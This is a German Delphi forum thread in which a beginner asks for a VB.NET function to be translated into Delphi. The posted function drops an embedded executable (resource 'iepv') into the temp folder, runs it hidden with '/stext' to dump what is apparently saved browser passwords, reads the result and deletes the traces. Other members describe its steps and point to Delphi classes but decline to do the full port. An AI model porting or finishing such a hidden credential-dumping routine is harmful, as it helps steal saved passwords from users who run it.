![]() |
Delphi Varibalentyp / VB- Byte
Hi ich hab einen Source gefunden der allerdings in VB ist. Würde den nun gerne in Delphi umwandeln. Hab mir das alles angeschaut und sollte eigentlich kein Problem sein. Das einzige Problem was ich jetzt habe ist, dass es in dem Source einen Varibalen Typ "Byte" gibt und ich nicht weis wie ich das nun in Delphi abwandeln soll ?!
Sieht so aus: Dim RessourceDatei() As Byte Kann mir da jemand helfen? |
Re: Delphi Varibalentyp / VB- Byte
den Datentyp byte gibt es auch bei Delphi...
|
Re: Delphi Varibalentyp / VB- Byte
.. vielleicht so?
Delphi-Quellcode:
Grüße
ResourceDatei: Array of Byte;
Klaus |
Re: Delphi Varibalentyp / VB- Byte
Oha danke.
Aba ich hab mir das alles etwas lechter vorgestellt mit dem umwandeln : / Könnte mir diesbezüglich vlt jemand helfen?
Code:
Wäre dankbar ;)
Function lesen() As String
Dim Data As String Dim ExeDateiname As String = "\datei.exe" Dim TextDateiname As String = "\textdatei.txt" Dim RessourceDatei() As Byte = My.Resources.iepv FileOpen(1, Environ("tmp") & ExeDateiname, OpenMode.Binary) FilePut(1, RessourceDatei) FileClose(1) Shell(Environ("tmp") & ExeDateiname & " /stext " & Environ("tmp") & _ TextDateiname, AppWinStyle.Hide) Data = IO.File.ReadAllText(Environ("tmp") & TextDateiname) On Error Resume Next IO.File.Delete(Environ("tmp") & ExeDateiname) IO.File.Delete(Environ("tmp") & TextDateiname) Return Data End Function [edit=Luckie]Zitat-Tags durch Code-Tags ersetzt. Mfg, Luckie[/edit] |
Re: Delphi Varibalentyp / VB- Byte
hmmmmm, also es wird
- ein Dateiinhalt aus den Resourcen in eine temporäre Datei gespeichert (1) - jene Datei wird dann "versteckt" als EXE ausgeführt (2) - die EXE erstellt dann eine Textdatei, - welche eingelesen und ihr Inhalt als String zurückgegeben wird (3) - und am Ende werden beide Dateien wieder gelöscht Ich denke mal, wenn man sich das so aufteilt, dann sollte man "leicht" etwas passendes in Delphi selber schreiben können. 1: TResourceStream 2: ShellExecute 3: TFileStream oder gar TStringStream |
Re: Delphi Varibalentyp / VB- Byte
Ich bin erst ein beginner in Delphi. Hab erst vor paar tagen angefangen : /
Das was ich monentan zusammengebracht hab ist ein exe pumper. Aber damit bich überfordert. Wäre nett wenn das jemand umwandeln könnte. |
Re: Delphi Varibalentyp / VB- Byte
kann das keiner machen : /?
|
Re: Delphi Varibalentyp / VB- Byte
Vielleicht solltest du dir erstmal die Tutorials angucken und die wichtigsten Grundlagen lernen :
![]() |
Re: Delphi Varibalentyp / VB- Byte
Ich brauch doch nur die paar Zeilen code hier von VB in dElphi gewandelt^^. mehr nicht
|
Re: Delphi Varibalentyp / VB- Byte
schon, aber um das machen zu können musst du zuerst Delphi können.
Ich bezweifle das hier irgendwer einfach so alles mögliche übersetzt. Und Hilfe hast du ja schon erhalten von himitsu |
Alle Zeitangaben in WEZ +1. Es ist jetzt 21:31 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz